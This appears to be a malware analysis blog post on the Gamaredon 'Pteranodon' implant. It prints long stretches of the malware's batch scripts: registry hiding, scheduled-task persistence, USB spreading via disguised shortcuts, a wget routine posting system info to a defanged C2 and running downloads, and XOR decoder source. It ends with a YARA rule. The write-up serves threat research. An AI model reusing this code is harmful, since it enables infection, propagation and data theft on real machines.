By and large, the malware chain is not sophisticated but includes a clever usage of batch script logic, leverages Windows Management Instrumentation (T1047), scheduled task (T1053), execution of Microsoft HTML Applications (HTA) (mshta.exe) (T1170) and borrows open source code and well-known “wget” utility.





The malware toolkit includes an interesting method of searching files using SHELL32.DLL icons, creating .lnk shortcuts to them in, and hiding and copying the executable and saving them to removable media (\Boot\UA%RANDOM%.%%Q' and setting up a folder \Новая Папка via "3" icon). 

II. Malware Installation: Batch '.cmd' Scripts

A. '23910.cmd' (previously known as "Wariables.cmd" and "War.cmd" combined)





To hide itself from simple detection, the script starts with setting up the variables including the creation of another script titled “OEPst.cmd” with the registry setup via the following command and deleting right after the command via “del /q /f "OEPst.cmd"


"reg add
“HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
/v Hidden /t REG_DWORD /d 00000002 /f>OEPst.cmd”
Next, the malware proceeds with obtaining a process list looking for “cryptcp.exe” (i.e, “tasklist /nh /fi "imagename eq cryptcp.exe”) and if found deleting it via the following command: 
'tasklist /nh /fi "imagename eq cryptcp.exe" ^| 
find /c "cryptcp.exe"') do set /a LQIEv=%%W
if %LQIEv% geq 2 (
For /F "delims=" %%X In ('Dir !%CD%\*.*! /B') Do Del /Q /F "%%X"

The relevant batch script portion is as follows:

REM /////////////////////////////////////////////////////////
REM //////////////// Main Batch Caller /////////////////////
REM /////////////////////////////////////////////////////////
setlocal enableextensions
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
setlocal enabledelayedexpansion
set THHsE=cryptcp
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
set OEPst=HKCU\Software\Microsoft\Windows
If JMhfJWj==FYowDlU Set DCofHCj=BaagTQJ
set KevQM=CurrentVersion\Explorer\Advanced\
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
set wOEJD=%1_512
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
echo %wOEJD%>wOEJD
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
echo reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ 
/v Hidden /t REG_DWORD /d 00000002 /f>OEPst.cmd
set tNdUKKL=%systemroot%
echo exit /b>>OEPst.cmd
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
call OEPst.cmd
set tNdUKKL=%systemroot%
del /q /f "OEPst.cmd"
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
set HgDwK="%CD%\*.*"
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
for /f %%W in ('tasklist /nh /fi "imagename eq cryptcp.exe" ^|
find /c "cryptcp.exe"') do set /a LQIEv=%%W
if %LQIEv% geq 2 (
For /F "delims=" %%X In ('Dir !%CD%\*.*! /B') Do Del /Q /F "%%X"
EXIT
)

Next, the script gets a process list via 'tasklist' and 'WMIC' via 

“tasklist /fi "PID eq !%%V!" /fo csv`) DO (set AXGPY=%%~W)
endlocal&set FUOgd=%%~W
for /f "tokens=1* delims==" %%F in (
'wmic process where "Name='%%~W'" get ExecutablePath /value^| findstr”

The malware obtains the system information via 'systeminfo' embedded as “FOR /F "tokens=*" %%V IN ('systeminfo') do @IF NOT F%%V==F set wrJbI=!wrJbI!%%V+###”
The bot ID is generated via  machine name and logical disk serial name (%computername%_logicaldiskserial)
For persistence, the scheduled task is created as follows with the binary “cryptcp.exe” as copied in “%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe”

schtasks /Create /SC MINUTE /MO 11 /F /tn %VOLUME_SERIAL_NUMBER%
/tr "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"

The XOR decryption of the wget binary is performed via 2750.exe “"15875.exe" dec "gjghj,eqhfcgfreqgbyljc" passing the hardcoded key “gjghj,eqhfcgfreqgbyljc
Additionally, the malware checks for “.rdata” section once it downloads another sample to make sure it is a valid executable. 

“1>nul findstr "\" qWFDX.exe && (
start "" "%CD%\qWFDX.exe )”

The relevant batch script portion is as follows:

REM /////////////////////////////////////////////////////////
REM ///////////// ParentProcess WMIC Processor //////////////
REM /////////////////////////////////////////////////////////
set tNdUKKL=%systemroot%
set FUmqD=0
set KDXmp=ParentProcessId
set eJuzm=CommandLine
set xstPC=%~nx0 // %~nx0=name of the running batch file
set lJHFE=parentprocessid
set SsgFv=commandline
set tNdUKKL=%systemroot%
for /f "usebackq tokens=1* delims==" %%U IN
(`
wmic process get !parentprocessid!^, !commandline! /value
`) DO (
if "!0!"=="1" (
if "%%U"==ParentProcessId (set zHsgx=%%V)
)
if "%%U"==CommandLine (
set cHqET=%%V
if not "!%%V:%~nx0=!"=="!%%V!" ( // %~nx0=name of the running batch file
set FUmqD=1
) else (
set FUmqD=0
)
)
)
for /f "usebackq tokens=1* skip=1 delims=," %%W
IN (`tasklist /fi "PID eq !%%V!" /fo csv`) DO (set AXGPY=%%~W)
endlocal&set FUOgd=%%~W
for /f "tokens=1* delims==" %%F in (
'wmic process where "Name='%%~W'" get ExecutablePath /value^| findstr :'
) do set IKssX=%%G
setlocal enableextensions
setlocal enabledelayedexpansion
FOR /F "tokens=*" %%V IN ('systeminfo') do @IF NOT F%%V==F set wrJbI=!wrJbI!%%V+###
set tNdUKKL=%systemroot%
set INoUg=%%G
set GSptS='vol c:'
set lJHFE="\"
for /F "delims=" %%W in (wOEJD) do set wOEJD=%%W
del /f /q "wOEJD"
For /F "skip=1 Tokens=4*" %%X In ('vol c:') Do set FaMJW=%%X
if %FaMJW%==is (
For /F "skip=1 Tokens=5*" %%U In ('vol c:') Do set FaMJW=%%U
)
set OEPst=Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%
set tNdUKKL=%systemroot%
set IHsGN=%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%
set CErlK="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0"
set tNdUKKL=%systemroot%
set IaGLD=/SC MINUTE /MO 11 /F
if not exist "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\%CD%\*.*"
(MD "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%")
set THHsE=cryptcp
if not exist "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe" (
copy /y /v "%%G" "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
)
fc /b "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
if %errorlevel%==1 (
RENAME "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe" BWElK
copy /y /v "%%G" "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
del /f /q "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\BWElK"
)
set tNdUKKL=%systemroot%
set INoUg="%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
set tNdUKKL=%systemroot%
for /d %%X in ("%TEMP%\*") do rd /q "%%X" 2>nul
schtasks /Create /SC MINUTE /MO 11 /F /tn %VOLUME_SERIAL_NUMBER%
/tr "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
set ZbFoE=%computername%_%VOLUME_SERIAL_NUMBER:-=%
set ZbFoE=%ZbFoE: =%
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
set tNdUKKL=%systemroot%
2750.exe "15875.exe" dec "gjghj,eqhfcgfreqgbyljc"
set GYHYY=dec_15875.exe
The decoded wget binary calls the domain hxxp://torrent-stel[.]space/spr_files[.]php” via the following script with the URI parameters as sysinfo=&id=&fid=&comp=&versiya= passing the file qWFDX.exe with the -O command.

dec_15875.exe --tries=3 --user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) 
Gecko/20100101 Firefox/27.0
--post-data=
"sysinfo=%wrJbI%&id=%computername_logicaldiskserial%&fid=%auUQD%
&comp=%computername%&versiya=%1_512%" "hxxp://torrent-stel[.]space/spr_files[.]php"
-q -N hxxp://torrent-stel[.]space/spr_files[.]php -O qWFDX.exe

The relevant batch script portion is as follows:

REM /////////////////////////////////////////////////////////
REM /////////////////// Post Caller Routine /////////////////
REM /////////////////////////////////////////////////////////
:EgEbd
set /a LJEmW=110*%RANDOM%/32768
set tNdUKKL=%systemroot%
timeout /t 110*%RANDOM%/32768
set auUQD=0
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
Call 22944.cmd %auUQD%
if %auUQD%==0 goto qWFDX
If Not Exist %pyBIa% goto qWFDX
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
echo .>"%pyBIa%\ATjDm"
IF EXIST "%pyBIa%\ATjDm" (
del /f /q "%pyBIa%\ATjDm"
call 15485.cmd %APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%
cryptcp "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe" %auUQD% %pyBIa%
)
set tNdUKKL=%systemroot%
ping 8.8.8.8 |>nul find /i "TTL=" &&goto qWFDX||goto EgEbd
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%

:qWFDX
if %auUQD%==0 set auUQD=000000
set GXwVw=torrent-stel
set BmrwP=space
set jKDtC=spr_files.php
set downs_telo=qWFDX.exe
set DCInJ=hxxp://torrent-stel[.]space/spr_files[.]php
call :OUJHJ qWFDX.exe
dec_15875.exe --tries=3 --user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
--post-data=
"sysinfo=%wrJbI%&id=%computername_logicaldiskserial%&fid=%auUQD%&comp=%computername%&versiya=%1_512%"
"hxxp://torrent-stel[.]space/spr_files[.]php" -q -N 
hxxp://torrent-stel[.]space/spr_files[.]php -O qWFDX.exe
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
call :OUJHJ dec_15875.exe
1>nul findstr "\" qWFDX.exe && (
start "" "%CD%\qWFDX.exe"
)
If JMhfJWj==FYowDlU Set DCofHCj=BaagTQJ

:DgGTz
set GXwVw=torrent-supd
set jKDtC=spr_updates.php
set DCInJ=hxxp://torrent-stel[.]space/spr_files[.]php
set downs_telo=OUJHJ
dec_15875.exe --tries=3 --user-agent=%CErlK%
--post-data=
"sysinfo=%wrJbI%&id=%computername_logicaldiskserial%&fid=%auUQD%&comp=%computername%&versiya=%1_512%"
"hxxp://torrent-stel[.]space/spr_files[.]php" -q -N 
hxxp://torrent-stel[.]space/spr_files[.]php -O OUJHJ
call :OUJHJ dec_15875.exe
set tNdUKKL=%systemroot%
2750.exe "OUJHJ" dec "gjghj,eqhfcgfreqgbyljc"
timeout /t 110*%RANDOM%/32768
set /a LJEmW=3*%RANDOM%/32768
set tNdUKKL=%systemroot%
1>nul findstr "\" dec_OUJHJ && (
taskkill /f /im cryptcp.exe
RENAME "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER\cryptcp.exe" BWElK
timeout /t 3*%RANDOM%/32768
copy /y /v "dec_OUJHJ" "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER\cryptcp.exe"
start "" "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
timeout /t 3*%RANDOM%/32768
del /q /f "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\BWElK"
for /d %%F in ("%TEMP%\*") do rd /q "%%F" 2>nul
del /q /f "%CD%\*.*%"
exit /b
)
for /F %%U in ('tasklist /FI "imagename eq cryptcp.exe" ^| find /C "cryptcp.exe"') do set /a LQIEv=%%U
if %LQIEv% LSS 1 (
start "" "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
exit /b
)
goto EgEbd

:OUJHJ
tasklist /fi "IMAGENAME eq %1" | find /i "%1"
if not errorlevel 1 taskkill /f /im %1
exit /b

B. '22944.cmd' (previously known as "id.cmd")
The file generates a removate drive disk name leveraging WMI DriveType=2 (removable drive) via the following query:
WMIC LogicalDisk Where ^(DriveType^=2 And MediaType^=NULL^) Get Name^,VolumeSerialNumber /Value^|Find "="'
The relevant batch script portion is as follows:

REM ///////////////////////////////////////////////////////////
REM /////////////// Removable Drive Searcher ID ///////////////
REM ///////////////////////////////////////////////////////////
set BgElHCr=%DATE%
set auUQD=0
set BgElHCr=%DATE%
For /F "Tokens=1,2* Delims==" %%A In
('WMIC LogicalDisk Where ^(DriveType^=2 And MediaType^=NULL^) '
'Get Name^,VolumeSerialNumber /Value^|Find "="') Do (
set aaHDX=%%A
set ubKsB=%%B
Call :LQIEv %%A %%B
set BaagTQJ=%random%
set BgElHCr=%DATE%
exit /b
If JMhfJWj==FYowDlU Set DCofHCj=BaagTQJ
set BgElHCr=%DATE%
:LQIEv
if %DATE%==pXZLiQl set JMhfJWj=%LOCALAPPDATA%
Set auUQD=0
set BaagTQJ=%random%
Set $%aaHDX%=%%B
set BgElHCr=%DATE%
If %aaHDX%==VolumeSerialNumber If Defined %%B (Set pyBIa=%$Name%& Set auUQD=%$VolumeSerialNumber%)
set BgElHCr=%DATE%
exit /b

C. '15485.cmd' (previously known as "usb.cmd")
The script logic is responsible for malware removable drive propagation.
It changes the character encoding to "1251" via 'chcp 1251>NULL', which is an 8-bit character encoding, designed to cover languages that use the Cyrillic script such as Russian, Bulgarian, Serbian Cyrillic, and other languages. The malware copies the file to \Boot as win.exe and setting it up with the hidden view as “attrib -h -s win.exe”
The relevant batch script portion is as follows:

REM ///////////////////////////////////////////////////////////
REM /////////////// Removable Drive Searcher ID ///////////////
REM ///////////////////////////////////////////////////////////
setlocal enableextensions
setlocal enabledelayedextensions
chcp 1251 > NULL
set BgElHCr=%USERPROFILE%
set KcIdg=%pyBIa%\win.exe
...
if not defined tQWEd set "tQWEd=%ProgramFiles(x86)%\WinRAR\WinRAR.exe"
REM Win32_LogicalDisk class = Name -> pyBIa
set KcIdg=%pyBIa%\win.exe
set tqEDS=mshta
set "fAFZD=attrib -h -s win.exe"
set "AaBUG=start /b win.exe"
REM %fAFZD% -> 'attrib -h -s win.exe'
REM %AaBUG% -> 'start /b win.exe'
call :qWFDX %fAFZD% %AaBUG%
If Not Exist %pyBIa%\Boot (
MD %pyBIa%\Boot
)
for /f "Tokens=1* Delims=" %%H in ('dir /b/s %pyBIa%\win.exe') do
(copy "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe" "%%H" /y)
for /f "Tokens=1* Delims=" %%I in ('dir /b/s "%pyBIa%\*.exe"')
do (
copy /y /v "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe" "%%I"
set SEFTP=%%~nxI
REM ~nxI expands %I to a file name and extension only
rename "%%I" !SEFTP: =!
)
for /f "Tokens=1* delims=" %%P in ('dir /b/s "%pyBIa%\*.lnk.lnk"') do (RENAME "%%P" %%~nP)
for /f "Tokens=1* Delims=" %%Q in ('dir /s /b %SystemRoot%\Installer\wordicon.exe')
do (set Rvjvq_doc=%%Q)
for /f "Tokens=1* Delims=" %%I in ('dir /s /b %SystemRoot%\Installer\x1icons.exe')
do (set Rvjvq_xls=%%I)
for %%Q in (doc rtf rar zip CMG txt xls) do (
set KHByE=0
set lOkEy=%%Q
for /f "tokens=*" %%M in ('dir /b /s /a "%pyBIa%\*.%%Q"') do (
if /i not %%~pM==\Boot\ (
set dels_!KHByE!=%%M
set /a KHByE+=1
)
)
call :DgGTz %KHByE% %lOkEy%
for /f "Tokens=1* Delims=" %%N in ('dir /b/s "%pyBIa%\*.lnk"') do (
If Not Exist "%%~dpN win.exe" (
copy /y /v "%APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe"
"%%~dpN+win.exe"
REM from 23910 -> %%~dpN -> get the whole pathname from root
)
)
echo attrib +h +s /s %pyBIa%\win.exe>cHqET.cmd
echo attrib +h %pyBIa%\Boot\*.*>>cHqET.cmd
echo attrib +h +s /d /s %pyBIa%\Boot>>cHqET.cmd
echo exit /b>>cHqET.cmd
call cHqET.cmd
EXIT /B

The malware executes various commands uses mshta.exe to process document icons and creates shortcuts to them in the \Boot\UA%RANDOM%.%%Q' and setting up a folder \Новая Папка via "3" icon.
The relevant batch script portion is as follows:

REM /////////////////////////////////////////////////////////
REM /////////////////// Icon Document Processor //////////////
REM /////////////////////////////////////////////////////////
:qWFDX
copy %APPDATA%\Microsoft\Crypto\keys\%VOLUME_SERIAL_NUMBER%\cryptcp.exe "%pyBIa%\win.exe" /y
set "vJiGq=%pyBIa%\Новая папка"
set GpaYX="/C attrib -h -s win.exe & attrib -h -s win.exe & %windir%\explorer.exe"
set jlxNK=%SystemRoot%\system32\SHELL32.dll
call :BWElK %pyBIa%\Новая папка /C attrib -h -s win.exe & attrib -h -s win.exe & %windir%\explorer.exe %SystemRoot%\system32\SHELL32.dll 3

:DgGTz
if %KHByE%==0 exit /b
set /a DdRep=%random% %% %KHByE%
set hLGGi=!dels_%%random% %% %KHByE%%!
set JrbyC=%RANDOM%
copy /y !dels_%%random% %% %KHByE%%! "%pyBIa%\Boot\UA%RANDOM%.%%Q"
set IhLOk="/C attrib -h -s win.exe & %start /b win.exe & Boot\UA%RANDOM%.%%Q"
If JMhfJWj==FYowDlU Set DCofHCj=BaagTQJ
set jlxNK=%SystemRoot%\system32\SHELL32.dll
set BgElHCr=%USERPROFILE%
set HJSmw=49
set FYowDlU=DCofHCj
if %%Q==doc (
set %SystemRoot%\system32\SHELL32.dll=%%Q
set HJSmw=1
)
set BgElHCr=%USERPROFILE%
if %%Q==rtf (
set %SystemRoot%\system32\SHELL32.dll=%%Q
set HJSmw=1
)
set BgElHCr=%USERPROFILE%
if %%Q==txt (
set HJSmw=70
)
set FYowDlU=DCofHCj
if %%Q==xls (
set %SystemRoot%\system32\SHELL32.dll=%%I
set HJSmw=1
)
if %%Q==rar (
set "%SystemRoot%\system32\SHELL32.dll=%ProgramFiles%\WinRAR\WinRAR.exe"
set HJSmw=101 // %ProgramFiles(x86)%
)
if %%Q==zip (
set "%SystemRoot%\system32\SHELL32.dll=%ProgramFiles%\WinRAR\WinRAR.exe" // %ProgramFiles(x86)%
set HJSmw=101
)
set BgElHCr=%USERPROFILE%
call :BWElK !dels_%%random% %% %KHByE%%! /C attrib -h -s win.exe & %start /b win.exe & Boot\UA%RANDOM%.%%Q %SystemRoot%\system32\SHELL32.dll %HJSmw%
del /f /q !dels_%%random% %% %KHByE%%!
EXIT /B

The malware executes hiding and Shell32 icon processor via mshta.exe vbscript.
The relevant batch script portion is as follows:
REM /////////////////////////////////////////////////////////
REM /////////////////// MSHTA.exe Icon //////////////
REM /////////////////////////////////////////////////////////
:BWElK
start "" mshta.exe vbscript:Execute
("Set y=CreateObject(""WScript.Shell"").
CreateShortcut(""!dels_%%random% %% %KHByE%%!.lnk""):
y.TargetPath=""%comspec%"":
y.Arguments="/C attrib -h -s win.exe & %start /b win.exe & Boot\UA%RANDOM%.%%Q:
y.WindowStyle=7:y.IconLocation=""%SystemRoot%\system32\SHELL32.dll, %HJSmw%""
:y.Save():Close()")
set BgElHCr=%USERPROFILE%
EXIT /B

III. Decoding Xor Utility 2750.exe (previously known as "Crypt.exe")
Finally, the malware uses the utility "Crypt.exe" to decode the XOR-obfuscated code to obtain the original wget binary for network communication.
Essentially, compiled in MingW libgcj-13.dll, this executable is a simple XOR encryption/decryption utility, which is heavily commented in Russian and with the Russian language resource
The default Russian-language commands are as follows:

Зашивровать  enc  (encode  enc )
Дешивровать dec (decode enc )

It is notable that one of the malware tools "Crypt.exe," which is a simple XOR encryptor, appears to be a copy/paste of the GitHub project linked to the developer under the username "asu2010" on GitHub as well as the article on the Russian portal Habrahabr by another "BlackTester" referencing the same GitHub. 

/////////////////////////////////////////////////////////
/////////////////// XOR Decryption Routine //////////////
/////////////////////////////////////////////////////////
unsigned char XOR(unsigned char inByte, unsigned char keyByte)
{
return inByte ^ keyByte;
}
void DecodeFile(FILE* inFile, FILE* outFile, char* keyString)
{
int Count;
unsigned char inByte;
unsigned char outByte;
Count = strlen(keyString)-1;
while(1)
{
inByte = getc(inFile);
if(feof(inFile)) break;
if(!Count) Count = (strlen(keyString) - 1);
outByte = XOR(inByte, (unsigned char)keyString[Count]);
Count--;
fputc((int)outByte, outFile);
}
}

IV. "dec_15875.exe" wget Binary
The decoded utility is simply a "wget" binary, which is used for clientserver communications.

V. Yara Signature

rule apt_win32_gamaredon_pteranodon_initial_sfx {
meta:
author = "@VK_Intel"
reference = "Detects Gamaredon Group Pteranodon Implant"
date = "2018-12-27"
type = "experimental"
strings:
$s0 = "cryptcp.exe" fullword wide
$s1 = "SFX module - Copyright (c) 2005-2012 Oleg Scherbakov" fullword ascii
$s2 = "7-Zip archiver - Copyright (c) 1999-2011 Igor Pavlov" fullword ascii
$s3 = "RunProgram=\"hidcon" fullword ascii
$s4 = "7-Zip - Copyright (c) 1999-2011 " fullword ascii
$s5 = "sfxelevation" fullword wide
$s6 = "Error in command line:" fullword ascii
$s7 = "%X - %03X - %03X - %03X - %03X" fullword wide
$s8 = "- Copyright (c) 2005-2012 " fullword ascii
$s9 = "Supported methods and filters, build options:" fullword ascii
$s10 = "Could not overwrite file \"%s\"." fullword ascii
$s11 = "7-Zip: Internal error, code 0x%08X." fullword ascii
$s12 = "@ (%d%s)" fullword wide
$s13 = "SfxVarCmdLine0" fullword wide
$s14 = "SfxVarCmdLine1" fullword wide
$s15 = "SfxVarCmdLine2" fullword wide
      $cmd = ".cmd" fullword wide

condition: ( uint16(0) == 0x5a4d and filesize < 2000KB and 14 of them and $cmd) }